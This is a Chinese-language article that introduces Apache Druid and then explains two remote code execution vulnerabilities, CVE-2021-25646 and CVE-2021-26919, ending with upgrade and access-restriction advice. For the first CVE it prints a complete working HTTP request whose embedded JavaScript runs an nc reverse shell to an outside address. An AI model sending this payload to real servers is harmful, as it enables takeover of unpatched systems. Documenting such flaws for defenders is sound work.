网络安全:Apache Druid 安全漏洞
Apache Druid 是一款专为实时分析和高并发查询设计的开源分布式数据存储系统,核心定位是解决“海量数据下的低延迟查询”问题。
你关注 Druid 很有眼光,它在实时数据看板、用户行为分析、监控告警等场景中表现突出,是大数据生态里重要的 OLAP(联机分析处理)工具。
Druid 的核心特性
- 混合数据摄入:同时支持实时流数据(如 Kafka)和批量数据(如 HDFS、S3)的导入,数据写入后可立即被查询。
- 亚秒级查询响应:通过预聚合(Rollup)、列式存储和分区索引等优化,即使面对 PB 级数据,复杂聚合查询也能在毫秒到秒级返回结果。
- 高可靠性与扩展性:采用分布式架构,支持水平扩展,单个集群可轻松处理每秒数十万条数据的写入和数千次查询请求。
- 原生 SQL 支持:兼容标准 SQL,降低使用门槛,同时也支持 JSON 格式的查询语言,适配不同技术栈需求。
Druid 的典型应用场景
- 实时业务监控:如电商平台的实时成交看板、APP 的实时活跃用户统计。
- 用户行为分析:分析用户在产品内的点击、浏览、购买等行为,支撑精细化运营。
- 日志与指标分析:处理服务器、应用程序的日志数据,或监控系统的 metrics 指标,快速定位问题。
- 广告与营销分析:实时统计广告曝光、点击、转化数据,优化投放策略。
Druid 与同类工具的关键区别
为了更清晰地理解其定位,以下是它与两种常见工具的对比:
| 特性 | Apache Druid | Apache Spark SQL | ClickHouse |
|---|---|---|---|
| 核心定位 | 实时 OLAP,低延迟查询 | 通用计算引擎,支持批处理与流处理 | 列存 OLAP,高性能批处理查询 |
| 查询延迟 | 亚秒级 - 秒级 | 秒级 - 分钟级 | 毫秒级 - 秒级 |
| 预聚合能力 | 原生支持(Rollup) | 需手动实现 | 支持(Aggregation MergeTree) |
| 适用场景 | 实时看板、高并发查询 | 复杂 ETL、批量分析 | 大规模批处理分析、日志分析 |
要不要我帮你整理一份 Apache Druid 快速部署指南?包含单机版和分布式集群的基础配置步骤,方便你快速上手体验它的查询性能。
Apache Druid 远程代码执行漏洞
Apache Druid远程代码执行漏洞是指在特定版本的Druid中,攻击者可以通过构造恶意请求,使Druid执行任意代码,从而控制服务器。以下是对该漏洞的详细介绍:
- CVE-2021-25646
- 漏洞发现:2021年1月17号,阿里云安全@Litch1向Apache官方报告了该漏洞,29号Apache Druid官方发布了漏洞补丁,分配CVE编号为CVE-2021-25646。
- 影响版本:Apache Druid 0.20.0及以前的版本。
- 漏洞原理:Apache Druid提供了JavaScript引擎用来扩展功能,该功能默认是禁用的。但在Druid 0.20.0及以前版本中,攻击者可以构造包含恶意JavaScript代码的POST请求,发送至Druid服务端的/druid/indexer/v1/sampler接口,绕过JavaScript功能的配置检查,使内置引擎解析恶意JavaScript代码,调用java.lang.Runtime.getRuntime().exec()方法执行恶意系统命令,实现远程代码执行。
- 漏洞复现:攻击者可以构造类似如下的请求包,通过发送该请求包到目标Druid服务器,即可执行其中的JavaScript代码,实现反弹shell等恶意操作。
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.10.1:8888
Content-Type: application/json
Content-Length: 1005
{
"type": "index",
"spec": {
"ioConfig": {
"type": "index",
"inputSource": {
"type": "inline",
"data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"
},
"inputFormat": {
"type": "json",
"keepNullColumns": true
}
},
"dataSchema": {
"dataSource": "sample",
"timestampSpec": {
"column": "timestamp",
"format": "iso"
},
"dimensionsSpec": {},
"transformSpec": {
"transforms": (),
"filter": {
"type": "javascript",
"dimension": "added",
"function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.10.130 2333 -e /bin/sh')}",
"": {
"enabled": true
}
}
}
},
"type": "index",
"tuningConfig": {
"type": "index"
}
},
"samplerConfig": {
"numRows": 500,
"timeoutMs": 15000
}
}
- CVE-2021-26919
- 漏洞发现:2021年3月29日,Apache官方发布安全公告,公开了该漏洞,其CVE编号为CVE-2021-26919。
- 影响版本:Apache Druid 0.20.1及以前的版本。
- 漏洞原理:Druid使用JDBC从其它数据库读取数据,此功能是为了让受信任的用户通过适当的权限来设置查找或提交提取任务,但由于Apache Druid默认情况下缺乏授权认证,攻击者可通过构造恶意请求执行任意代码,从而控制服务器。
为防范此类漏洞,建议用户及时将Apache Druid升级到最新的安全版本,同时限制非信任设备对Druid服务的访问。
